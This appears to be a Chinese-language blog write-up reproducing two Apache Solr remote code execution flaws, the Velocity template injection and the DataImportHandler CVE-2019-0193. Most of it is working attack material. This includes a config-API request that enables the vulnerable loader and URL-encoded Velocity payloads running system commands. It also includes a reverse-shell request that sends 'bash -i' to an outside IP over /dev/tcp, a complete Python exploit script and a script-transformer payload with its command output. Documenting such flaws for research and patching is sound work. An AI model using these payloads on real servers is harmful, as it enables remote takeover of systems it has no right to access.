Apache Solr Velocity模板注入RCE漏洞复现

前言

Apache Solr Velocity模板注入RCE漏洞复现

Apache Solr介绍
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。
漏洞描述
Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。
漏洞产生原因:
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模板,默认设置是false。当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。
漏洞影响版本
Apache Solr 5.x - 8.2.0,存在config API版本
漏洞环境的搭建
1. 安装java环境

2. 下载Apache Solr 8.2.0,下载地址: https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
3. 解压然后进入bin目录执行solr.cmd start

4. 浏览器访问192.168.10.171:8983,环境搭建成功

漏洞复现
1. 重新启动,再次访问192.168.10.171:8983/solr发现没有创建core, 先手动在/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下

2. 然后按照下图所示创建一个名为test的core

3. 然后访问查看该应用config文件是否可以访问

4. Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

5. 接下来我们就可以构造payload来实现RCE
Payload如下:
1
/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

下面是执行得到shell的payload(Burp Suite)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /solr/test/config HTTP/1.1
Host: 192.168.1.100:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 261

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
下面直接反弹shell到你自己的服务器上
1
2
3
4
5
6
7
8
9
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20%22bash%20-i%20>/dev/tcp/123.57.232.69/8080%200>%261%22%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.1.100:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
复现完成之后我们了解了相关的模板注入:
Velocity是另一种流行的Java模板语言,使用起来比较棘手。没有“安全注意事项”页面可以帮助指出最危险的功能,也没有明显的默认变量列表。以下屏幕截图显示了用于强制变量名称的Burp Intruder工具,其中变量名称位于“payload”列的左侧,服务器的输出位于右侧。

在类,因为它返回一个通用对象变量(高亮)看起来特别有前途。谷歌搜索引导我们到https://velocity.apache.org/tools/releases/2.0/summary.html:
ClassTool:用于在模板中使用Java反射的工具
默认键:$ class
一种方法和一种属性脱颖而出:
$ class.inspect(类/对象/串)返回一个检查指定类或对象的新ClassTool实例
$ class.type返回正在检查的实际类
https://velocity.apache.org/tools/releases/2.0/summary.html
换句话说,我们可以使用$ class.type 链接`$ class.inspect以获取对任意对象的引用。然后,我们可以使用Runtime.exec()在目标系统上执行任意shell命令。这可以使用以下模板进行确认,该模板旨在导致明显的时间延迟。
1
2
3
4
5
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()

[5 second time delay]

0
获取shell命令的输出有点棘手(毕竟这是Java):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#set($str=$class.inspect("java.lang.String").type)

#set($chr=$class.inspect("java.lang.Character").type)

#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))

$ex.waitFor()

#set($out=$ex.getInputStream())

#foreach($i in [1..$out.available()])

$str.valueOf($chr.toChars($out.read()))

#end



tomcat7
同理上面的shell就是这样构造的
1
2
3
4
5
#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('bash -c "bash -i >/dev/tcp/123.57.232.69/8080 0>&1"'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
"""
编码后的
"""
%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20%22bash%20-i%20>/dev/tcp/123.57.232.69/8080%200>%261%22%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
同时贴出poc的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import json
import sys


def get_name(url):
print "[-] Get core name."
url += "/solr/admin/cores?wt=json&indexInfo=false"
conn = requests.request("GET", url=url)
name = "test"
try:
name = list(json.loads(conn.text)["status"])[0]
except:
pass
return name


def update_config(url, name):

url += "/solr/"+name+"/config"
print "[-] Update config.", url
headers = {"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"}
post_data = """
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
"""
conn = requests.request("POST", url, data=post_data, headers=headers)
if conn.status_code != 200:
print "update config error: ", conn.status_code
sys.exit(1)


def poc(url):
core_name = get_name(url)
update_config(url, core_name)
print "[-] Start get ."
url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ifconfig%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
conn = requests.request("GET", url)
print conn.text


if __name__ == '__main__'
# print sys.argv[0], "http://192.168.157.138/"
target = sys.argv[1]
poc(target)
参考资料:
https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
漏洞分析 - Apache Solr 模版注入漏洞(RCE)
服务器端模板注入
http://www.blogjava.net/sxyx2008/archive/2010/11/11/337799.html
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/
Apache Solr Velocity模板注入RCE漏洞复现
https://www.freebuf.com/vuls/218730.html
https://www.cnblogs.com/yuzly/p/11782608.html
https://two8g.gitbooks.io/solr-reference-guide/start/run.html
0x02 Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193)分析
漏洞复现的环境和漏洞的描述请看下面的参考资料一栏
下面是构造数据回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /solr/test/dataimport?dataConfig=%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20/%3E%0A%3Cscript%3E%3C%21%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc%28row%29%7B%0A%20%20%20%20%20%20%20%20var%20j%3Dnew%20java.io.BufferedReader%28new%20java.io.InputStreamReader%28java.lang.Runtime.getRuntime%28%29.exec%28%22ls%22%29.getInputStream%28%29%29%29%3B%0A%20%20%20%20%20%20%20%20var%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20var%20res%3D%22%22%3B%0A%20%20%20%20%20%20%20%20while%28line%21%3Dnull%20%26%26%20line%21%3Dundefined%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20res%3Dres%2Bline%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%09row.put%28%22title_s%22%2Cres%29%3B%0A%09%09return%20row%3B%0A%09%7D%0A%20%20%5D%5D%3E%3C/script%3E%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22/books/book%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22res_s%22%20template%3D%22some%20static%20payload%22/%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title_s%22%20xpath%3D%22/books/book/name%22/%3E%0A%20%20%20%20%3C/entity%3E%0A%3C/document%3E%0A%3C/dataConfig%3E&command=full-import&debug=true HTTP/1.1
Host: 123.57.232.69:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 135
Connection: close
Referer: http://123.57.232.69:8983/solr/

<?xml version="1.0" encoding="utf-8"?>
<books>
<book>
<name>NAME1</name>
</book>
<book>
<name>NAME2</name>
</book>
</books>
回显的结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 738

{
"responseHeader":{
"status":0,
"QTime":381},
"initArgs":[
"defaults",[
"config","db-data-config.xml"]],
"command":"full-import",
"mode":"debug",
"documents":[{
"title_s":["README.txtcontextsetcliblogsmodulesresourcesscriptssolrsolr-webappstart.jar"]},
{
"title_s":["README.txtcontextsetcliblogsmodulesresourcesscriptssolrsolr-webappstart.jar"]}],
"verbose-output":[],
"status":"idle",
"importResponse":"",
"statusMessages":{
"Total Requests made to DataSource":"0",
"Total Rows Fetched":"2",
"Total Documents Processed":"0",
"Total Documents Skipped":"0",
"Full Dump Started":"2019-11-24 06:27:42",
"Total Documents Failed":"2",
"Time taken":"0:0:0.366"}}
参考资料
Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析
https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
Apache Solr 远程命令执行漏洞(CVE-2019-0193)漏洞复现环境
https://xz.aliyun.com/t/4422